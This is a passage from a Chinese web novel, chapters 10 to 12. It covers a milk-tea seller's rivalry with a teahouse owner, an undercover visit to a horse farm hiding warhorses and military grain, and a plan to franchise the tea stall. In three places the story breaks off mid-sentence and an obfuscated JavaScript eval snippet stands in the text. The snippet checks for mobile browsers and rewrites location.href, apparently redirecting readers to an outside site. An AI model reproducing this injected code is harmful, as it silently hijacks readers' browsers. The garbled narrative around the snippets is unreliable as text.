浔阳秋顺着她指的方向看去,那几串桂花确实开得正好,但实在太高了。他看了看树干,突然抬脚轻轻一踢。 树干晃动,金黄的桂花纷纷扬扬落下来。江心月惊呼一声,下意识抬头——正好对上浔阳秋含笑的双眼。细碎的阳光透过枝叶间隙,在两人之间洒下斑驳的光影。桂花落在她的发间、肩头,也落进她捧着的竹篮里。 “这下够了吧?”浔阳秋伸手拂去她发梢上的一片花瓣。 江心月低头看着满篮的桂花,香气萦绕在鼻尖:“嗯,够酿好几罐了。”她的耳尖不知怎么有些发烫,可能是被太阳晒的。 回忆至此,江心月轻轻摩挲着手中的桂花。那天的阳光、香气,还有那个带着笑意的眼神,都仿佛还在眼前。她将桂花放进贴身的小荷包里,继续收拾起摊位来。 远处传来马蹄声,她不由自主地抬头望去,却又很快低下头——明知不可能是他。 呆六娘踮着脚数着钱袋里的铜板,眼睛弯成了月牙:“三娘,咱们今天能卖完吗?” 江心月擦了擦额头的汗,看了眼木桶里仅剩的薄薄一层奶茶,又望望队伍末尾还在张望的几个街坊:“看样子是不够卖了。” 就在这时,对面云来茶馆突然传来“哐当”一声震天响的铜锣声。老周扯着破锣嗓子喊:“云来奶茶买一送一喽!上等茶叶熬制,先到先得!” 队伍末尾穿灰布衫的中年汉子犹豫地搓了搓手,往对面张望了两眼。他身旁挎着菜篮的大婶拽了拽他的袖子:“老刘,要不咱们......” 江心月手上的动作顿了顿,竹勺在奶茶表面划出一个小小的漩涡。但她很快又继续舀起一勺,稳稳地倒入最后一位客人,李婆婆的琉璃杯里。 “李婆婆,这是给您的,不要钱。”江心月又往杯里多加了一勺金黄的桂花蜜,“您上回送我的腌菜可好吃了。” 李婆婆笑得满脸皱纹都舒展开来:“哎哟,这怎么好意思...”她接过杯子抿了一口,眼睛顿时亮了起来,“这桂花香,跟我年轻时在江南吃的一个味儿!” 日头已经升到正午,江心月把空了的木桶倒扣过来,几滴残留的奶茶“啪嗒”落在青石板上。 呆六娘把铜钱串成串,在手里掂了掂,发出悦耳的声响:“今儿个赚的比往常还多!就算对面降价,咱们也不差!” 对面茶楼二楼,赵浩广死死攥着窗框,指节都泛了白。 老刘小心翼翼地凑过来:“会长,咱明天还降价吗?这都连降三天了......” 赵浩广猛地松开手,窗框上留下几道深深的指甲印。“砰”的一声,他重重关上了窗户,震得窗棂上的灰尘簌簌落下。 江心月抬头看了眼对面紧闭的窗户,手上的动作慢了下来。她轻轻叹了口气,把最后几个用过的竹杯收进藤篮里。杯底还残留着一点奶茶,引来几只小蚂蚁围着打转。 正午的阳光把两人的影子缩成了小小的一团。江心月把最后一块布幌子折好,轻轻拍了拍上面沾着的桂花碎。 10. 第 10 章 浔阳秋牵着马来到黑水马场时,日头已经偏西。他特意绕到带了杯珍珠奶茶,用油纸包好揣在怀里保温。马场门口的木牌四个金漆大字“黑水马场”彰显着这个马场的不同之处。 “这位公子,买马还是寄养?”一个精瘦的中年男子迎上来,眼睛却直往浔阳秋腰间的钱袋上瞟。 浔阳秋从怀中掏出奶茶,竹杯上还冒着热气:“可是陈管事?特意给您带的。” 陈三的眼睛顿时亮了,脸上的皱纹都舒展开来:“哎哟,这可是稀罕物!”他接过奶茶猛吸一口,珍珠咕噜噜滑进嘴里,“西市江三娘家的吧?她家珍珠最弹牙。” “陈管事好眼力。”浔阳秋笑着拱手,“在下想买匹好马,听说黑水马场的马最是健壮。” 陈三嘬着奶茶,眼睛眯成一条缝:“公子来得巧,前些日子刚到了一批新马。”他转身引路,奶茶杯子捏在手里晃悠,“这边请。” 马厩里,二十多匹骏马正在吃草料。浔阳秋走近一匹枣红马,那马立刻警惕地竖起耳朵。 “这匹如何?”陈三拍拍马脖子,“日行百里不费劲。” 浔阳秋装作内行的样子掰开马嘴看了看:“牙口不错。”他故意皱眉,“就是太温顺了些,我想要匹烈点的。” “烈马?”陈三眼睛一转,“公子这边请。”他带着浔阳秋往马场深处走,手里的奶茶已经见了底,“后面有几匹新到的,性子野着呢。” 穿过几排马厩,空气中的草料味越来越浓。浔阳秋注意到角落里堆着不少印着“军粮”字样的麻袋,上面还盖着干草遮掩。 “就这匹!”陈三突然指向最里间的马栏。一匹通体漆黑的骏马正在焦躁地踢踏地面,见有人来立刻喷了个响鼻。 浔阳秋假装兴奋地凑近:“好马!能试试吗?” “这...”陈三犹豫了一下,看了眼手里空了的奶茶杯,“公子小心些,这马还没驯服呢。” 浔阳秋已经利落地翻身上马。黑马立刻人立而起,他顺势抓住鬃毛,双腿一夹马腹:“驾!” 黑马嘶鸣着冲了出去,陈三在后面追着喊:“公子慢些!那边是——” 话音未落,浔阳秋已经策马冲向了马场西北角。那里有几个新搭的草棚,隐约可见里面堆满了麻袋。几个马夫正在卸货,见状慌忙遮挡。 “公子!那边不能去!”陈三气喘吁吁地追上来。 浔阳秋勒住马,装作惊慌的样子:“这马性子真烈!”他跳下马,拍了拍身上的草屑,“不过正合我意。” 陈三的眼睛不住地往草棚那边瞟:“公子要是喜欢,咱们回去慢慢谈价钱?” “不急。”浔阳秋从袖中又掏出一杯奶茶,“特意多买了一杯,陈管事慢慢喝。”他状似随意地往草棚走去,“那边是新建的马厩?” 陈三赶紧拦住他,接过奶茶的手有些发抖:“就是堆杂物的破棚子。公子,日头不早了,咱们回去把买卖定下来?” 浔阳秋看着陈三额头的汗珠,知道火候到了:“也好。”他转身时故意踩到一根麻绳,借机弯腰看了眼草棚里的麻袋——确实是军粮的标记。 回前院的路上,陈三喝奶茶的声音格外响亮,似乎想掩饰什么。浔阳秋有一搭没一搭地跟他聊着马经,眼睛却把马场的布局记了个清清楚楚。夕阳西下,两人的影子在地上拉得很长,一个悠闲自得,一个却总忍不住回头张望。 当天夜里,黑水马场的西北角堆着几垛新割的干草。浔阳秋蹲在草堆后面,月光从草杆的缝隙间漏下来,在他脸上投下斑驳的光影。夜风裹着马粪和干草的气味扑面而来,他不由得皱了皱鼻子。 “怪事......”他猫着腰溜到最近的马槽前。槽里还剩着半截胡萝卜,被匹枣红马嚼得咔嚓响。那马见他靠近,不但不躲,反而亲热地把湿漉漉的鼻子往他手心里拱。 “倒是好脾气。”浔阳秋小声嘀咕,顺势摸了摸马脖子,掌心下的肌肉结实有力。他皱眉掰开马嘴查看,月光下,马齿整齐雪白,齿龈粉嫩健康,舌苔干净,哪像水土不服的模样? 远处突然传来脚步声,浔阳秋闪身躲进阴影。两个马夫提着灯笼晃过来,昏黄的光圈在草料上跳动。 “天天伺候这些‘病马’,倒比战马还费心。”年轻些的马夫抱怨着,往槽里添了把豆料,“昨儿还专门运来一车苜蓿草。” “嘘!小声点!”另一个马夫紧张地四下张望,灯笼在他手里晃出一圈光晕,“赵大人说了,这批马要等......” 灯笼光渐远,浔阳秋从草垛后转出来,月光照得他眼睛发亮。他轻手轻脚摸到最里间的马厩,借着月光一看。 整整八排马栏,匹匹毛色油亮,正精神抖擞地踢踏着前蹄。 最边上那匹黑马突然仰头嘶鸣,声音洪亮得震落屋檐几片碎瓦。浔阳秋忍不住笑了:“好个‘病马’......” 他正想凑近细看,忽然听见马场大门方向传来车轮声。浔阳秋一个闪身躲到立柱后,只见几辆蒙着油布的马车缓缓驶入,车辙在泥地上压出深深的痕迹。 “快卸货!”一个熟悉的声音响起,浔阳秋眯起眼睛——正是赵浩广的小舅子王德海。几个伙计掀开油布,露出下面捆扎整齐的麻袋,袋子上赫然印着“军粮”二字。 黑马又嘶鸣一声,这次像是警告。 浔阳秋悄悄后退,身影很快隐没在夜色中。月光照在马场中央的水槽上,水面晃动着细碎的银光,映出远处城楼的轮廓。 夜色沉沉,君潋台的书房里烛火通明。浔阳秋风尘仆仆地推门而入,带进一阵夜风,吹得案几上的烛火摇晃不定。烛光在他脸上投下斑驳的影子,衣袍下摆还沾着几根马场的干草。 “王爷。”浔阳秋拱手行礼,声音有些沙哑。他这一路疾驰回来,连口水都没顾上喝。 谢罕正伏案批阅文书,闻言抬头,将手中的狼毫搁在笔山上。墨汁顺着笔尖滴落,在宣纸上晕开一小片黑渍:“查清楚了?” “黑水马场确实多出八百余匹战马。”浔阳秋从怀中掏出一张折叠的纸,纸张边缘已经有些磨损,上面密密麻麻记着马匹的花色与特征,“更蹊跷的是——”他顿了顿,喉结上下滚动了一下,“属下亲眼看见王德海往马场运送军粮。” 谢罕的手指在案几上轻轻敲击,节奏平稳得可怕:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15359032|168064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 北境局势紧张,军粮就是将士们的命。”他的声音很轻,却像淬了冰,“若真打起来,少了这批粮......” 书房里一时寂静无比。浔阳秋能听见自己急促的心跳声,还有烛芯燃烧时细微的噼啪声。窗外,一只夜莺在枝头啼叫了两声,又归于寂静。 “没想到岭南粮仓也烂透了。”谢罕突然将茶盏重重搁下,茶水溅湿了案上的军报,“马匹、银钱、军粮,他们这是要——” “库部司也有问题?”浔阳秋敏锐地接上话头。 谢罕突然站起身,衣袍带起的风让烛火又是一阵摇晃。他走到多宝阁前,拿起一个青铜马摆件在手中把玩:“王德海掌马政,赵浩广控茶税,现在连岭南的粮道都...”手指用力到发白,“赵相的手,伸得太长了。” 烛火突然爆了个灯花,映得谢罕半边脸阴晴不定。他转身将青铜马重重按在案上:“军粮之事刻不容缓,你明日就启程去岭南。”青铜马在他指间转动,马眼处的宝石在烛光下泛着冷光,“查清楚是谁在打军粮的主意。本王明日进宫面圣,随后会派快马将军令送到你手上。” 浔阳秋注意到谢罕的袖口在微微发抖,不知是愤怒还是后怕。他垂首应道:“属下明白。” 谢罕突然推开雕花窗,夜风裹着荷香卷入书房。远处宫墙上的灯笼像一串血珠。“记住,”他的声音混在风里,“就说是为本王南巡打前站。” 浔阳秋刚要告退,肩上突然一沉。谢罕的手掌像块烙铁:“小心行事,若真查到赵相头上...”话未说完,窗外传来巡夜侍卫的脚步声。 两人对视一眼,都在对方眼中看到了未尽之言。浔阳秋躬身退出时,瞥见谢罕的影子投在墙上,像柄出鞘的剑。 浔阳秋躬身告退。走出书房时,他听见谢罕又坐回案前,狼毫在宣纸上划出的沙沙声。 走廊上的灯笼被夜风吹得晃动,将他的影子拉得很长。 君潋台的大门“吱呀”一声打开,东方已现出鱼肚白。 晨雾中,早起的商贩正推着独轮车往集市赶,车轮碾过青石板的声响由远及近。浔阳秋回头望了眼二楼仍亮着灯的窗户,谢罕的身影正立在窗前,像一尊凝固的雕像。 晨风拂过,带来远处早市开张的喧闹声。卖豆浆的吆喝,蒸包子的水汽,还有孩童追逐的笑闹,都混在一起飘过来。 而浔阳秋的心却沉得如同那滩渗入木中的墨。他摸了摸怀中的纸条,上面详细记录着马场的见闻。这张轻飘飘的纸,此刻却重若千钧。 街角处,一个卖花的小姑娘正在整理花篮。她看见浔阳秋,怯生生地举起一支沾着晨露的野菊。 浔阳秋摇摇头,转身牵过拴在石狮旁的枣红马。马儿不耐烦地打了个响鼻,似乎也感受到了主人的凝重。 浔阳秋翻身上马,最后看了眼君潋台。二楼的灯光依然亮着,在渐亮的天色中显得格外突兀。 马蹄声渐渐远去,消失在晨雾中。卖花的小姑娘看着那个挺拔的背影远去,不解地歪了歪头,又继续整理她的花篮。 君潋台二楼,谢罕终于吹灭了蜡烛,一缕青烟袅袅升起,很快被晨风吹散。 11. 第 11 章 第二日,江心月有了昨日的经验,只在夜市出摊。 暮色渐浓,江心月的奶茶摊前却比白日更热闹。红灯笼在摊前轻轻摇晃,照得排队的人脸上都泛着暖光。 “三娘,给我留两壶!”张屠户挤在人群最前头,铜钱拍在案板上哐当作响,“家里那口子就认准您这桂花味了!” 江心月麻利地舀着奶茶,额前的碎发黏在鬓角。 突然街尾传来急促的马蹄声。王德海骑着匹枣红马横冲直撞,惊得排队的人群四散躲避。 卖糖人的老孙头差点摔了担子,气得直骂:“要死啊!赶着投胎啊!” “姐夫!”王德海滚鞍下马,“昨夜马场出事了!有人翻墙进去...” 赵浩广手里的茶勺“当啷”掉进锅里,溅起的热茶烫红了手背。他一把拽住王德海的衣襟:“进包厢说!” 云来茶馆二楼最里的雅间,窗户缝里漏进的风吹得油灯直晃。王德海咕咚灌了半壶凉茶,喉结上下滚动:“守夜的二狗子看见有人影在马厩晃悠......” “看清脸没有?”赵浩广手指敲着桌面,震得茶盏叮当响。 “天黑没瞧真切。”王德海抹了把嘴角的茶渍,“可那人翻墙的功夫了得,定是练家子...” 赵浩广突然冷笑一声,从袖中掏出块碎银子往桌上一拍:“慌什么?那些马不是都病着么?” 排队买奶茶的人群突然骚动起来。 “三娘!三娘!”扎羊角辫的小丫头踮着脚往摊前挤,手里捧着的粗瓷碗晃得奶茶直打转。排队的大婶赶紧扶住她:“哎哟我的小祖宗,别洒了!” 江心月忙放下铜勺,蹲下身来平视着小丫头:“慢些跑,瞧你这满头汗。”她从袖中掏出块素帕子,轻轻按在小丫头红扑扑的脸蛋上。 “我爷爷说......”小丫头喘着气,眼睛亮得像星星,“说您这奶茶比安神汤还管用!他昨儿喝完一觉睡到大天亮,连起夜都忘了!” 排队的人群哄笑起来。卖豆腐的王婆子打趣道:“老李头怕是梦里都在惦记三娘的奶茶吧?” 江心月接过空碗,指尖在小丫头鼻尖上轻轻一点:“爷爷的桂花蜜我记着呢,明儿给他多加半勺。”说着从案板下摸出个油纸包,“这是新做的桂花糕,带回去给爷爷配茶。” 小丫头接过糕点,突然凑近江心月耳边:“爷爷说赵会长家的茶喝了肚子疼......”话没说完就被王婆子捂住了嘴:“小丫头片子别乱说话!” 呆六娘正往灶膛里添柴,闻言抬头看了眼对面茶馆。二楼窗户“砰”地关上,隐约可见赵浩广的身影在窗后晃动。 “三娘偏心!”排在后面的张屠户故意嚷嚷,“我也要加桂花蜜!” 江心月笑着舀起一勺蜜糖:“张大哥昨儿帮忙搬灶台,自然要多加一勺。”金黄的蜜糖缓缓流入茶汤,在灯笼光下像融化的琥珀。 呆六娘突然“咦”了一声:“三娘您看——”只见那小丫头没急着走,正踮脚把桂花糕掰成两半,大的那块小心地用帕子包好塞进怀里。 “这是给爷爷留的?”江心月柔声问。 小丫头摇摇头,奶声奶气地说:“给巷口的黄婆婆,她家孙子发热,喝不下苦药......” 排队的人群突然安静下来。卖酱菜的陈婶抹了抹眼角,从篮子里掏出个咸菜疙瘩塞给小丫头:“带去给黄婆婆就粥喝。” 呆六娘不知何时走到了摊前,往小丫头另只手里放了枚铜钱:“买块姜糖,发汗用。”说完又蹲回去看火,灶膛里的火光映得他侧脸发亮。 江心月望着小丫头蹦蹦跳跳远去的背影,手里的铜勺无意识地在茶桶里画着圈。对面茶馆二楼传来“啪”的摔杯声,在渐暗的暮色里格外刺耳。 夜市灯火渐稀,摊贩们陆续开始收拾。 呆六娘踮着脚尖,铜钱在她指间叮当作响,笑得见牙不见眼:“三娘,咱们今天赚的比往常三天加起来还多呢!” 江心月正弯腰擦拭木桶内壁,闻言直起腰来:“是啊,多亏了你帮忙。”她说着往对面茶楼二楼瞥了一眼,那扇雕花木窗紧闭着,她手里的抹布不自觉地绞紧了几分。 呆六娘顺着她的目光看去,撇了撇嘴:“赵会长今天可气得不轻。”她学着赵浩广的样子,做出一个摔东西的动作,“你是没看见,他刚才关窗那劲儿,窗框上的灰都震下来一层。” 江心月没忍住笑出了声,“叮当”手里的木勺掉进了空桶里。她弯腰去捡,发梢垂下来遮住了半边脸:“做生意各凭本事,何必这样......” 话还没说完,对面茶楼的后门“吱呀”一声开了条缝。 老周鬼鬼祟祟地探出半个脑袋,正好和她们打了个照面。他像被烫着似的,立刻缩了回去,门“砰”地一声关得震天响。 呆六娘“噗嗤”笑出声,差点把铜钱撒了一地:“瞧他那贼样!”她突然神秘兮兮地凑近,“三娘,我今早听卖豆腐的老张说,赵会长昨儿连夜派人去乡下收桂花,结果跑错了山头,收回来一车野菊花,气得把账本都撕了。” 江心月刚要说话,街角突然传来一阵马蹄声。浔阳秋牵着一匹枣红马转过街角,马背上驮着两个鼓鼓的麻袋。他远远地朝这边挥了挥手,笑容格外明朗。 呆六娘用手肘捅了捅江心月,故意拖长了声调:“哟——你的‘帮——手——’回来了。”她特意把“帮手”两个字咬得又重又长,还促狭地眨了眨眼。 江心月的耳根悄悄红了,低头用力擦着已经锃亮的木桶:“胡说什么呢,快去把晾着的纱布收起来。” 呆六娘做了个鬼脸,蹦蹦跳跳地去收纱布,嘴里还哼着小曲儿。 江心月这才抬起头,目光穿过朦胧的夜色,落在越走越近的浔阳秋身上。 对面茶楼的窗户突然又开了一条缝,隐约能看到赵浩广阴沉的半张脸,和他死死攥着窗框的手。 但此刻,江心月的眼里只剩下那个牵着马、朝她走来的身影。她不自觉地弯起嘴角,把擦好的木桶轻轻放在了一边,又下意识理了理鬓角的碎发。 枣红马打了个响鼻,晃了晃脑袋,脖子上挂着的铃铛发出清脆的声响,像是在替主人打招呼。 “回来了?”江心月不自觉地往前迎了两步,又突然停住,手指绞着围裙的一角。 浔阳秋在离她三步远的地方站定,眼角眉梢都带着笑意:“嗯,事情办完了。”他拍了拍马背上的麻袋,“顺便带了点好东西。” 呆六娘抱着收好的纱布凑过来,好奇地戳了戳麻袋:“这是什么呀?” “给你们的礼物。”浔阳秋解开其中一个麻袋,浓郁的桂花香立刻飘散开来,“路过城南,正好碰上桂树二次花开。” 江心月伸手接住几朵飘落的桂花,小小的花瓣在她掌心颤动。她抬头看向浔阳秋,发现他的鬓角还沾着些尘土,想必是一路疾驰赶回来的。 “累了吧?”她轻声问,伸手接过他手中的缰绳,“先喝口茶歇歇。” 对面茶楼的窗户突然“砰”地一声关紧了。 浔阳秋往那边瞥了一眼,嘴角微微上扬:“看来我回来得正是时候?” 呆六娘抱着桂花袋子,促狭地挤了挤眼睛:“可不是嘛,有人啊——” “六娘!”江心月急忙打断她,“去把桂花收好,别让夜露打湿了。” 枣红马不耐烦地跺了跺蹄子,脖子上的铃铛叮当作响。 浔阳秋笑着摸了摸马脖子,从另一个麻袋里掏出个油纸包,热气从纸缝里钻出来:“路上买的芝麻糖,还热着呢。” “你怎么这么喜欢吃芝麻糖,”江心月伸手接过,指尖不小心碰到他的手掌,像被烫着似的缩了缩,“每次都买。” “给我尝尝新品吧!”浔阳秋指着摊位旁立着的木牌,红漆写的“桂花蜜酿奶茶”几个字在月光下泛着暗光。 江心月顺着他的手指看去,摇摇头:“东西都收起来了。”她指了指擦得锃亮的木桶,桶壁上还挂着几颗水珠,“明天给你来一杯特调的。” “明天......”浔阳秋眼里的笑意淡了几分,“我要走了。” 小院里,月光透过柳枝的缝隙,在石桌上洒下斑驳的光影。 江心月特制的桂花蜜酿奶茶盛在琉璃杯中,泛着琥珀色的光泽。浔阳秋双手捧着杯子,温热的触感从指尖传来,桂花的甜香氤氲在两人之间。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15359033|168064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “明天要走是什么意思。”江心月捏着围裙一角,指尖微微发白,终于问出了这个盘旋在心头的问题。 浔阳秋放下琉璃杯,杯底在石桌上轻轻一磕:“明天我要先行去岭南。”他抬头看向天上的月亮,“摄政王过阵子要南下,我先去打点一下。” “去多久?”江心月的声音很轻。 “不知道。”浔阳秋摇了摇头,一缕发丝垂落额前,被夜风吹得晃动。他伸手想拨开,却在半途停住,转而端起杯子抿了一口。 恰在此时,一阵夜风拂过,院角的柳树沙沙作响,几片嫩绿的柳叶打着旋儿落下。其中一片不偏不倚,正落在浔阳秋的杯中,在茶汤上轻轻浮动。 “三娘,”浔阳秋忽然转头,目光落在江心月微微低垂的睫毛上,声音比平时轻了几分,“我可以这样唤你吗?” “当然。”江心月抬起头,嘴角扬起一个浅浅的弧度,手指无意识地绕着杯沿打转。 浔阳秋往前倾了倾身子,衣袖带起一阵微风:“我不在这段日子,你一定要小心。”他的目光变得严肃,“赵浩广那边......我会留两个小厮在暗处帮你。” 江心月点点头,突然发现浔阳秋的衣领上沾了点尘土,想必是连日奔波留下的。她下意识想伸手拂去,又攥紧了手指。 浔阳秋起身告辞,江心月送他到院门口,两人在门槛处不约而同地停下脚步。 “吱呀——”木门缓缓合上,江心月的指尖还停留在门闩上。 一门之隔,两人谁都没有立即离开。浔阳秋的手悬在半空,最终轻轻落在门板上。江心月的额头抵着门扉,能听见外面枣红马不耐烦的踏蹄声。 月光忽然大盛,穿透云层倾泻而下,把江心月的影子投在门板上。她低头看着自己的影子,忽然想起这些日子以来,浔阳秋总是站在她身旁,两人的影子在阳光下挨得那么近。 门外,浔阳秋终于收回手。院墙的阴影下,他的身影几乎与黑暗融为一体。 就如二人的命运一般,一个在阳光下卖力生活,一个在背地里暗自前行。 夜市渐渐散去,灯笼的光晕在石板路上投下摇曳的影子。江心月正弯腰擦拭木桶内壁,手指用力得有些发白。呆六娘把竹杯一个个摞好,突然凑近了些。 “三娘,”她压低声音,眼睛往对面茶楼瞟了瞟,“昨儿个豆腐摊的老张说,赵浩广连夜赶去城南买了批桂花蜜......” 江心月手上的动作顿了顿,又继续擦拭起来:“是吗?”她的声音很轻,像在自言自语,“城南王记的桂花蜜确实香。” “三娘!”呆六娘突然抓住她的手腕,“你今天一整天都不对劲。”她皱着眉头,“早上和面时盐放了两遍,刚才找钱时差点多给了五个铜板。” 江心月抽回手,把抹布拧成一股:“胡说什么呢,我好的很。” 呆六娘把收好的铜钱串哗啦一声放进匣子里:“那秋哥儿今天怎么没来帮忙?”她故意把“秋哥儿”三个字拖得老长,“往常这个时辰,他早该......” “来不了了。”江心月打断她,声音突然有些发紧。她转身去收拾灶台,背对着呆六娘。 “什么叫来不了了?”呆六娘绕到她面前,歪着头看她,“生病了?” 江心月把铁锅扣过来,锅底撞在灶台上发出“咣”的一声响。“他今日下岭南去了。”她轻声说,手指无意识地摩挲着锅沿上的一道划痕。 呆六娘张了张嘴,突然明白了什么。她默默地把晾干的纱布叠好,过了会儿才说:“那......他还回来吗?” 远处传来更夫的梆子声,江心月抬头看了看天色:“谁知道呢。”她弯腰提起木桶,袖子滑下来遮住了手腕,“走吧,该收摊了。” 对面的茶楼还亮着灯,隐约能听见赵浩广训斥伙计的声音。江心月把最后一块布幌子折好,上面绣着的桂花图案在月光下泛着淡淡的光。 呆六娘突然发现,往常总是哼着小曲收拾摊位的三娘,今晚安静得出奇。 夜风吹过,带来一阵桂花香。不知是谁家院里种的,香气比往年的都要浓郁。 江心月想,这三月桂也没有很稀有啊。 12. 第 12 章 呆六娘蹲在旁边擦碗,木碗在她手里转来转去,水珠溅到围裙上。她抬头看江心月数铜钱的样子,忍不住转移话题:“三娘,今天赚了不少吧?” 江心月把铜钱摞成小塔,最顶上那枚晃了晃没倒:“再攒一阵子,应该够租间铺子了。” “铺子?!”呆六娘手里的碗“咣当”掉进木盆里,溅起的水花打湿了她的刘海,“咱们要开店?” “嗯。”江心月把铜钱收进布袋,扎紧袋口的绳子打了个结,“总不能一直摆摊,风吹日晒的,冬天冷,夏天热,客人也不方便。” 呆六娘眨了眨眼,有些犹豫:“可……开店得花不少钱吧?” “所以得好好算算。”江心月拍了拍她的肩膀,“走,回去找陈婶商量。” 陈婶的屋子里,油灯芯“噼啪”爆了个灯花。三个人围着方桌坐下,桌腿有点瘸,陈婶随手垫了片碎瓦。 “你们看,”江心月把账本摊开,手指着上面的数目:“这个月我们已经攒了这么多。” 呆六娘趴在桌边,鼻尖都快碰到纸面了,突然倒抽一口气:“这么多!够买两头小毛驴了!” 陈婶捏起一枚铜钱在手里转着:“数目是不小,可开店不是过家家。”她抬头看江心月,“丫头,你可想清楚了?这钱扔进去,可就没有回头路了。” 江心月点点头,从怀里摸出张皱巴巴的纸。纸角都磨毛了,显然被反复打开过多次。她小心展开,纸上用炭条画着歪歪扭扭的格子,标着“柜台”“茶炉”几个字:“西市街角那间空铺子我问过了,月租八百文。” “八百文?!”呆六娘差点从凳子上跳起来,撞得桌子一晃,“这、这也太贵了!” 陈婶掰着手指头算:“桌椅锅灶起码两贯钱,再加上茶叶、蜂蜜、木薯粉......”她突然抬头,“按现在每天的收入,得攒到什么时候?” “我算过了。”江心月不急不慢地倒了碗奶茶推给陈婶,“按现在每天的收入,再攒七八天就够了。” 呆六娘咬着嘴唇:“可万一......我是说万一啊,开店后没这么多客人呢?” “不会。”江心月语气笃定,指尖在桌面上点了点,“咱们的珍珠奶茶,整个永安城找不出第二家。昨天还有客人专门从城南跑来买。” 呆六娘趴在桌边,小声嘀咕:“可要是雇人,他们学了手艺,自己出去开店怎么办?” 江心月突然笑了:“那就让他们开。” “啊?”呆六娘瞪圆了眼睛,“那不是抢咱们生意吗?” “所以我琢磨着,”江心月把三个茶碗排成一排,“咱们不光自己开店,还要让别人也来卖奶茶。” 屋里突然安静得能听见灶台上水壶“咕嘟咕嘟”的声音。陈婶和呆六娘张着嘴,活像两条搁浅的鱼。 “你疯啦?”呆六娘终于憋出一句,声音都劈了叉,“老话说教会徒弟饿死师傅!” 江心月笑着摇摇头,从钱袋里数出十枚铜钱,每个茶碗前放三枚:“你想想,现在全城只有咱们卖珍珠奶茶,客人要从城东跑到城西来买。要是城东也有人卖,城南也有人卖......” “那谁还来咱们这儿啊!”呆六娘急得直拍大腿,把铜钱都震得跳了起来。 “错啦。”江心月把铜钱重新摆好,“比如这是三家店,都用咱们的招牌,按咱们的方子做奶茶。”她又取出三枚铜钱放在自己面前,“每家店每月给咱们一百文,十家店就是一贯钱。” 陈婶琢磨了一会儿,突然拍了下大腿:“这主意好!咱们不用自己开那么多店,但全城的奶茶生意,都有咱们一份!” 呆六娘还是有点不放心:“可要是他们学会了,偷偷改方子呢?” 江心月端起奶茶喝了一口,慢悠悠地说:“那就看他们敢不敢了。”她放下茶碗,碗底在桌面磕出轻响,“咱们的奶茶为什么好喝?因为用料实在,火候精准。”她掰着手指数,“岩茶要炒到刚好出香,珍珠要煮到外软内韧,蜂蜜要按三钱兑一壶......” “做生意,骗得了一时,骗不了一世。”江心月突然从灶台端来个小陶罐,“六娘,你尝尝这个。” 呆六娘接过来喝了一口,立刻皱着脸“呸”了出来:“这什么啊?又苦又涩!跟喝药汤似的!” “这是王记茶摊的‘珍珠奶茶’。”江心月眨眨眼,“上个月他们伙计天天蹲咱们摊子边偷看,回去就鼓捣出这味道。” 陈婶噗嗤笑出声,差点被奶茶呛着:“我说呢!前天路过他们家,三个伙计闲得在门口斗蛐蛐儿!” “所以啊,”江心月用抹布擦掉桌上洒的奶茶,“要立规矩。”她伸出三根手指,“第一,用咱们的招牌就得按咱们的方子来;第二,原料必须从咱们这里进;第三,每卖出一杯要给咱们一文钱。” 陈婶突然“哎呀”一声:“等等,你说原料都从咱们这儿进?” “对啊!”江心月掏出个小算盘噼里啪啦打起来,“咱们找茶农直接收,比零买便宜三成。转手给加盟的铺子还能赚两成差价。” 呆六娘掰着手指头算,眼睛越瞪越大:“加盟费、原料钱、每杯抽成......天哪,这比咱们自己开店赚得还多!” 陈婶拍了下桌子:“妙啊!这样既能赚钱,又能保证味道!” “可是......”呆六娘还是不太放心,“要是有人耍滑头呢?” 江心月从袖筒里抽出张契纸,“找书肆的先生拟了这个。白纸黑字写清楚,违约的要赔五贯钱。” 陈婶接过契纸对着灯光细看,突然笑出声:“你这丫头,连‘不得私换茶叶,违者每两罚十文’都写上了!” 油灯渐渐暗下去,江心月挑了挑灯芯,火苗“腾”地窜高,照亮三张兴奋的脸。 陈婶突然想到什么:“等等,那咱们自己的铺子还开不开?” “当然要开。”江心月抓过炭笔在纸上重重画了个圈,“西市这家是总店,咱们亲自坐镇。”她又在周围画了几个小圈,“其他想加盟的,都要来这里学手艺,合格了才能挂牌。” 呆六娘捂着嘴打了个哈欠,这才发现油灯都快烧到底了。她揉揉眼睛,看着桌上跳动的烛光映在江心月认真的侧脸上,突然“噗嗤”笑出声:“三娘,你可真厉害。我光想着把方子捂严实,你都想到开分店了。” 江心月摇摇头,把炭笔放在砚台上:“我不是图赚更多银子。”她望向窗外,远处夜市的红灯笼像一串发光的糖葫芦,“记得开张第三天,那个拄拐杖从城东来的白胡子老伯吗?” “记得记得!”呆六娘眼睛一亮,“那天暴雨刚停,他裤脚上全是泥点子,说是小孙女发热就想喝口甜的......” “要是城东就有奶茶卖,他就不用趟着雨水跑那么远了。”江心月声音轻得像在自言自语,“想让每个街坊都能方便地喝到好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 